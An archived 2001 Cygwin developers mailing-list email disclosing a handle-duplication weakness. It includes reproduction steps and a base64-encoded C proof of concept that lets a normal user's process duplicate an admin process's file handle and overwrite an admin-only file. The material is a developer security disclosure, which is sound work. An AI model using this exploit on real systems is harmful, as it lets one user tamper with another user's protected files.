Mailing-List: contact cygwin-developers-help AT sourceware DOT cygnus DOT com; run by ezmlm List-Subscribe: List-Archive: List-Post: List-Help: , Sender: cygwin-developers-owner AT sources DOT redhat DOT com Delivered-To: mailing list cygwin-developers AT sources DOT redhat DOT com Date: Wed, 18 Apr 2001 20:50:20 +0400 From: egor duda X-Mailer: The Bat! (v1.45) Personal Reply-To: egor duda Organization: deo X-Priority: 3 (Normal) Message-ID: <107348915634.20010418205020@logos-m.ru> To: Corinna Vinschen Subject: Re: handle protection - please comment In-reply-To: <20010418173712.N15005@cygbert.vinschen.de> References: <20010418120530 DOT Q15962 AT cygbert DOT vinschen DOT de> <00a401c0c7f0$02bb1f30$0200a8c0 AT lifelesswks> <13327115627 DOT 20010418144700 AT logos-m DOT ru> <20010418155552 DOT S15962 AT cygbert DOT vinschen DOT de> <175340295909 DOT 20010418182640 AT logos-m DOT ru> <20010418164712 DOT J15005 AT cygbert DOT vinschen DOT de> <53342543912 DOT 20010418190408 AT logos-m DOT ru> <20010418173712 DOT N15005 AT cygbert DOT vinschen DOT de> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="----------8BBBC181F16" ------------8BBBC181F16 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi! Wednesday, 18 April, 2001 Corinna Vinschen vinschen AT redhat DOT com wrote: >> well, we can remove or restrict rights on hMainProcess, but it'll just >> make exploit a bit harder. >> for example, process A may need to open some sensitive file he has >> access to, and process B will be able to duplicate it. >> Or i'll wait till some process calls fork(), and duplicate child's handle >> it's got from CreateProcess() CV> Uhm, ok, but from my point of view it's an academic problem. CV> The PROCESS_DUP_HANDLE permission on a process handle does _not_ CV> open up the other handles of a process if the access rights of CV> these handles are set using appropriate values. not academic, but rather practical. unfortunately. here's the demonstration. CV> For example process A has a handle H with ALL_ACCESS for the user CV> of A and with R/O for the world. Giving it's process handle to CV> process B of another user doesn't allow suddenly R/W access to CV> process B. The user of B doesn't have that permission. So he's CV> stuck at that point. It's in the responsibility of process A not CV> to open up it's resources to others. gcc -o /tmp/t.exe t.c from admin account: $ echo "secret info" > /tmp/secret $ chmod 600 /tmp/secret from normal user account start /tmp/t.exe it'll print 'slave pid=' and blocks waiting for input. then switch to admin account and run '/tmp/t.exe ' it'll print 'master handle= object handle=' switch back to client account and input and values. now look what /tmp/secret contains. Egor. mailto:deo AT logos-m DOT ru ICQ 5165414 FidoNet 2:5020/496.19 ------------8BBBC181F16 Content-Type: application/octet-stream; name="t.c" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="t.c" I2luY2x1ZGUgPGlvLmg+DQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDxzeXMvZmNudGwu aD4NCiNpbmNsdWRlIDx3aW5kb3dzLmg+DQoNCkJPT0wNCnNldHVwX3ByaXZpbGVnZXMgKCkNCnsN CiAgQk9PTCByYzsNCiAgSEFORExFIGhUb2tlbiA9IE5VTEw7DQogIFRPS0VOX1BSSVZJTEVHRVMg c1ByaXZpbGVnZXM7DQogIHJjID0gT3BlblByb2Nlc3NUb2tlbiAoIEdldEN1cnJlbnRQcm9jZXNz KCkgLCBUT0tFTl9BTExfQUNDRVNTICwgJmhUb2tlbiApIDsNCiAgaWYgKCAhcmMgKQ0KICAgIHJl dHVybiBGQUxTRTsNCiAgcmMgPSBMb29rdXBQcml2aWxlZ2VWYWx1ZSAoIE5VTEwsIFNFX0RFQlVH X05BTUUsICZzUHJpdmlsZWdlcy5Qcml2aWxlZ2VzWzBdLkx1aWQgKTsNCiAgaWYgKCAhcmMgKQ0K ICAgIHJldHVybiBGQUxTRTsNCiAgc1ByaXZpbGVnZXMuUHJpdmlsZWdlQ291bnQgPSAxIDsNCiAg c1ByaXZpbGVnZXMuUHJpdmlsZWdlc1swXS5BdHRyaWJ1dGVzID0gU0VfUFJJVklMRUdFX0VOQUJM RUQgOw0KICByYyA9IEFkanVzdFRva2VuUHJpdmlsZWdlcyAoIGhUb2tlbiwgRkFMU0UsICZzUHJp dmlsZWdlcywgMCwgTlVMTCwgTlVMTCApIDsNCiAgaWYgKCAhcmMgKQ0KICAgIHJldHVybiBGQUxT RTsNCg0KICBDbG9zZUhhbmRsZSAoIGhUb2tlbiApOw0KICByZXR1cm4gVFJVRTsNCn0NCg0KaW50 DQpjbGllbnQgKCkNCnsNCiAgSEFORExFIGhNYXN0ZXIsIGhPYmplY3QsIGhEdXBwZWRPYmplY3Q7 DQogIGNoYXIqIGJ1ZiA9ICJrYWJvb20hIjsNCiAgRFdPUkQgYnl0ZXNfd3JpdHRlbjsNCiAgcHJp bnRmICggInNsYXZlIHBpZD0lZFxuIiwgR2V0Q3VycmVudFByb2Nlc3NJZCAoKSk7DQogIHNjYW5m ICgiJXggJXgiLCAmaE1hc3RlciwgJmhPYmplY3QpOw0KICBpZiAoIUR1cGxpY2F0ZUhhbmRsZSAo aE1hc3RlciwgaE9iamVjdCwNCiAgICAgICAgICAgICAgICAgICAgICAgIEdldEN1cnJlbnRQcm9j ZXNzICgpLCAmaER1cHBlZE9iamVjdCwNCiAgICAgICAgICAgICAgICAgICAgICAgIDAsIEZBTFNF LCBEVVBMSUNBVEVfU0FNRV9BQ0NFU1MpKQ0KICAgIHJldHVybiAzOw0KICBpZiAoIVdyaXRlRmls ZSAoaER1cHBlZE9iamVjdCwgYnVmLCBzdHJsZW4gKGJ1ZiksICZieXRlc193cml0dGVuLCBOVUxM KSkNCiAgICByZXR1cm4gNDsNCg0KICByZXR1cm4gMDsNCn0NCg0KaW50DQptYWluIChpbnQgYXJn YywgY2hhcioqIGFyZ3YpDQp7DQogIGludCBmZDsNCiAgRFdPUkQgbWFzdGVyX3BpZCwgc2xhdmVf cGlkOw0KICBIQU5ETEUgaE1hc3RlciwgaFNsYXZlLCBoRHVwcGVkTWFzdGVyOw0KDQogIGlmIChh cmdjIDw9IDEpDQogICAgcmV0dXJuIGNsaWVudCAoKTsNCg0KICBpZiAoIXNldHVwX3ByaXZpbGVn ZXMgKCkpDQogICAgcmV0dXJuIDI7DQoNCiAgbWFzdGVyX3BpZCA9IEdldEN1cnJlbnRQcm9jZXNz SWQgKCk7DQogIHNsYXZlX3BpZCA9IGF0b2kgKGFyZ3YgWzFdKTsNCg0KICBoTWFzdGVyID0gT3Bl blByb2Nlc3MgKFBST0NFU1NfRFVQX0hBTkRMRSwgRkFMU0UsIG1hc3Rlcl9waWQpOw0KICBoU2xh dmUgPSBPcGVuUHJvY2VzcyAoUFJPQ0VTU19EVVBfSEFORExFLCBGQUxTRSwgc2xhdmVfcGlkKTsN Cg0KICBpZiAoIUR1cGxpY2F0ZUhhbmRsZSAoaE1hc3RlciwgaE1hc3RlciwNCgkJCWhTbGF2ZSwg JmhEdXBwZWRNYXN0ZXIsDQoJCQkwLCBGQUxTRSwgRFVQTElDQVRFX1NBTUVfQUNDRVNTKSkNCiAg ICByZXR1cm4gMzsNCg0KICBmZCA9IG9wZW4gKCAiL3RtcC9zZWNyZXQiLCBPX1JEV1IgKTsNCg0K ICBwcmludGYgKCAibWFzdGVyIGhhbmRsZT0lcCwgb2JqZWN0IGhhbmRsZT0lcFxuIiwNCiAgICAg ICAgICAgaER1cHBlZE1hc3RlciwgZ2V0X29zZmhhbmRsZSAoZmQpKTsNCiAgZ2V0Y2hhciAoKTsN CiAgY2xvc2UgKGZkKTsNCiAgcmV0dXJuIDA7DQp9 ------------8BBBC181F16--